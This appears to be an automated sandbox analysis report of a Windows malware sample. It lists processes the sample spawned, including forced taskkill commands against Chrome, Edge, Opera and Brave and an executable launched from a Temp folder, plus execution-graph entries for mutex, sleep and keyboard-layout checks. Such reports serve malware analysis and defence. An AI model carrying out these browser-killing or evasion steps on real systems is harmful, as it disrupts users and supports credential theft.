Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:09:58
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:09:59
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:09:59
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	17:09:59
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	17:09:59
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	17:09:59
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	17:09:59
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"
Imagebase:	0x670000
File size:	971'776 bytes
MD5 hash:	5DD5F67D25C20DFF1AC926ABDC8C2EB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	17:10:00
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	17:10:00
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.8%
Total number of Nodes:	755
Total number of Limit Nodes:	16

Executed Functions

Function 00A1652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00A1652A,?,?,?,?,?,00A17661), ref: 00A16567

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e53e654902ef6c7b43f9d95a1eda9aea8df1235901e9248f76cbd6dff409e8e8
Instruction ID: 4f7a87ba73654fc7aa04915776b1e4cd6c6e2928802391624ba53df3d3dca56c
Opcode Fuzzy Hash: e53e654902ef6c7b43f9d95a1eda9aea8df1235901e9248f76cbd6dff409e8e8
Instruction Fuzzy Hash: 09E0C230041208AFCF35BB18C919FC83B6BEF51769F104804FC188A222CB36EEC2D680

Function 04CC07D4 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712030360.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0cda6f524bd688a147fe6da429f00404864a8fe8f97482aab67e9f3b7488679
Instruction ID: 7991d230d4c62103ad636d39ade10fc00e5e4adeebe29b728238c7118dafff26
Opcode Fuzzy Hash: f0cda6f524bd688a147fe6da429f00404864a8fe8f97482aab67e9f3b7488679
Instruction Fuzzy Hash: B3E0E5A324C120AD714290C32B605BA675FF4C7332334C03BF443C1542E4895A09B1B2

Function 009E5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 009E60C9
0000043f, xrefs: 009E612B
00000419, xrefs: 009E6098
00000423, xrefs: 009E60FA
Keyboard Layout\Preload, xrefs: 009E6054

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 58e0705806dd2e6b65ea3d31aa8ec3da9ea2a7bebb72927208bb742981bcc574
Instruction ID: 3f55930cec7ccb1fe8290ddfb758e41794cc0f51ee0c990988c7e5bc459072f8
Opcode Fuzzy Hash: 58e0705806dd2e6b65ea3d31aa8ec3da9ea2a7bebb72927208bb742981bcc574
Instruction Fuzzy Hash: 82F1D17090025CABEB24DF58CD84BEEBBB9EB45304F5046A8F508A72C1DB759E84CF94

Function 009E9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ccc3000e379e0eafb78c11698feddefe513401712e89b88f8b8281dabb7483f7
Instruction ID: b3a2920e90fca3703723805a98eae5b32f54f2a556bbbb528a67a78a73956667
Opcode Fuzzy Hash: ccc3000e379e0eafb78c11698feddefe513401712e89b88f8b8281dabb7483f7
Instruction Fuzzy Hash: 17316D317002449BEB09EB79DC897ADBB66EFD2314F344218E414D73E6D7765E808751

Function 009E9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3bcf6abf18f8ae2993555601b7ef5772af7b19a4e4df6da22b5879dc8305df64
Instruction ID: 8e23333e836c7b0caa95d34147f4e8b739819050b0f6f5d0b44e360ec1ca0421
Opcode Fuzzy Hash: 3bcf6abf18f8ae2993555601b7ef5772af7b19a4e4df6da22b5879dc8305df64
Instruction Fuzzy Hash: 1E318B317001849BEB09DB7ADC897ACB766EBC6314F204618E414DB3E6C736AD808712

Function 009EA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 009EA963
CreateMutexA.KERNEL32(00000000,00000000,00A43254), ref: 009EA981

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
